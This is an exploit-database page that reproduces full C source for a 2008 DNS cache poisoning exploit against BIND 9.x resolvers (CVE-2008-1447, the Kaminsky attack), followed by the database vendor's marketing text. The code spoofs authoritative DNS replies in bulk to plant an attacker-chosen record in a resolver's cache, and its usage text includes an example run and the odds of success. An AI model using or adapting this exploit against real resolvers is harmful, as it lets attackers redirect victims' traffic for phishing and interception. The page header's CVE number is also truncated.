Lucene search
K

BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)

🗓️ 25 Jul 2008 00:00:00Reported by Marc BevandType 
zdt
 zdt
🔗 0day.today👁 28 Views

Exploit for BIND 9.x Remote DNS Cache Poisoning Flaw CVE-2008-144

Related
Code
====================================================
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
====================================================

/*
 * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
 *
 * Compilation:
 * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
 *
 * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
 *
 * Author: marc.bevand at rapid7 dot com
 */

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE      (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED   (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A       0x1
#define TYPE_NS      0x2
#define CLASS_IN     0x1

struct dns_pkt
{
   uint16_t txid;
   uint16_t flags;
   uint16_t nr_quest;
   uint16_t nr_ans;
   uint16_t nr_auth;
   uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
   unsigned bufi, i, j;
   bufi = i = j = 0;
   while (name[i])
   {
      if (name[i] == '.')
      {
         if (bufi + 1 + (i - j) > size)
            fprintf(stderr, "format_domain overflow\n"), exit(1);
         buf[bufi++] = i - j;
         memcpy(buf + bufi, name + j, i - j);
         bufi += i - j;
         j = i + 1;
      }
      i++;
   }
   if (bufi + 1 + 2 + 2 > size)
      fprintf(stderr, "format_domain overflow\n"), exit(1);
   buf[bufi++] = 0;
   *len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
   uint16_t tmp;
   // name
   format_domain(buf, size, len, name);
   // type
   tmp = htons(type);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
   // class
   tmp = htons(class);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
   format_qr(buf, size, len, name, type, class);
   // ttl
   ttl = htonl(ttl);
   memcpy(buf + *len, &ttl, sizeof (ttl));
   *len += sizeof (ttl);
   // data length + data
   uint16_t dlen;
   struct addr addr;
   switch (type)
   {
      case TYPE_A:
         dlen = sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         dlen = strlen(data) + 1;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
   dlen = htons(dlen);
   memcpy(buf + *len, &dlen, sizeof (dlen));
   *len += sizeof (dlen);
   // data
   unsigned len2;
   switch (type)
   {
      case TYPE_A:
         if (addr_aton(data, &addr) < 0)
            fprintf(stderr, "invalid destination IP: %s", data), exit(1);
         memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
         *len += sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         format_domain(buf + *len, size - *len, &len2, data);
         *len += len2;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
   u_char *out = buf;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(0),
      .nr_auth = htons(0),
      .nr_add = htons(0),
   };
   u_char qr[256];
   unsigned l;
   format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
   if (sizeof (p) + l > size)
      fprintf(stderr, "dns_query overflow"), exit(1);
   memcpy(out, &p, sizeof (p));
   out += sizeof (p);
   memcpy(out, qr, l);
   out += l;
   *len = sizeof (p) + l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
      uint16_t txid, uint16_t flags,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   u_char *out = buf;
   u_char *end = buf + size;
   u_char rec[256];
   unsigned l_rec;
   uint32_t ttl = 24*3600;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(1),
      .nr_auth = htons(1),
      .nr_add = htons(1),
   };
   (void)domain;
   *len = 0;
   if (out + *len + sizeof (p) > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
   // queries
   format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // answers
   format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
         ttl, q_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // authoritative nameservers
   format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
         ttl, auth_name);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // additional records
   format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
         ttl, auth_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(1234);
   udp->uh_dport = htons(53);
   // dns
   dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         rand(), DNSF_REC_DESIRED, name);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
      uint16_t port_resolver, uint16_t txid,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(53);
   udp->uh_dport = htons(port_resolver);
   // dns
   dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
         q_name, q_ip, domain, auth_name, auth_ip);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

void usage(char *name)
{
   fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
         "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
         "  <ip-querier>       Source IP used when sending queries for random hostnames\n"
         "                     (typically your IP)\n"
         "  <ip-resolver>      Target DNS resolver to attack\n"
         "  <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
         "  <port-resolver>    Source port used by the resolver when forwarding queries\n"
         "  <subhost>          Poison the cache with the A record <subhost>.<domain>\n"
         "  <domain>           Domain name, see <subhost>.\n"
         "  <any-ip>           IP of your choice to be associated to <subhost>.<domain>\n"
         "  <attempts>         Number of poisoning attemps, more attempts increase the\n"
         "                     chance of successful poisoning, but also the attack time\n"
         "  <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
         "                     increase the chance of successful poisoning but, but also\n"
         "                     the rate of packet loss\n"
         "Example:\n"
         "  $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
         "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
         "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
         "this example (8192 attempts and 16 replies/attempt) is 86%%\n"
         "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
         "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
         "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
         "100 attempts/sec).\n",
         name, name);
}

int main(int argc, char **argv)
{
   if (argc != 10)
      usage(argv[0]), exit(1);
   const char *querier = argv[1];
   const char *ip_resolver = argv[2];
   const char *ip_authoritative = argv[3];
   uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
   const char *subhost = argv[5];
   const char *domain = argv[6];
   const char *anyip = argv[7];
   uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
   uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
   if (domain[strlen(domain) - 1 ] != '.')
      fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
   printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
   srand(time(NULL));
   int unique = rand() + (rand() << 16);
   u_char buf[IP_LEN_MAX];
   unsigned len;
   char name[256];
   char ns[256];
   ip_t *iph;
   if ((iph = ip_open()) == NULL)
      err(1, "ip_open");
   int cnt = 0;
   while (cnt < attempts)
   {
      // send a query for a random hostname
      snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);
      len = build_query(buf, querier, ip_resolver, name);
      if (ip_send(iph, buf, len) != len)
         err(1, "ip_send");
      // give the resolver enough time to forward the query and be in a state
      // where it waits for answers; sleeping 10ms here limits the number of
      // attempts to 100 per sec
      usleep(10000);
      // send spoofed replies, each reply contains:
      // - 1 query: query for the "random hostname"
      // - 1 answer: "random hostname" A 1.1.1.1
      // - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
      // - 1 additional record: <subhost>.<domain> A <any-ip>
      snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
      unsigned r;
      for (r = 0; r < replies; r++)
      {
         // use a txid that is just 'r': 0..(replies-1)
         len = build_response(buf, ip_authoritative, ip_resolver,
               port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
         if (ip_send(iph, buf, len) != len)
            err(1, "ip_send");
      }
      cnt++;
   }
   ip_close(iph);
   return 0;
}



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation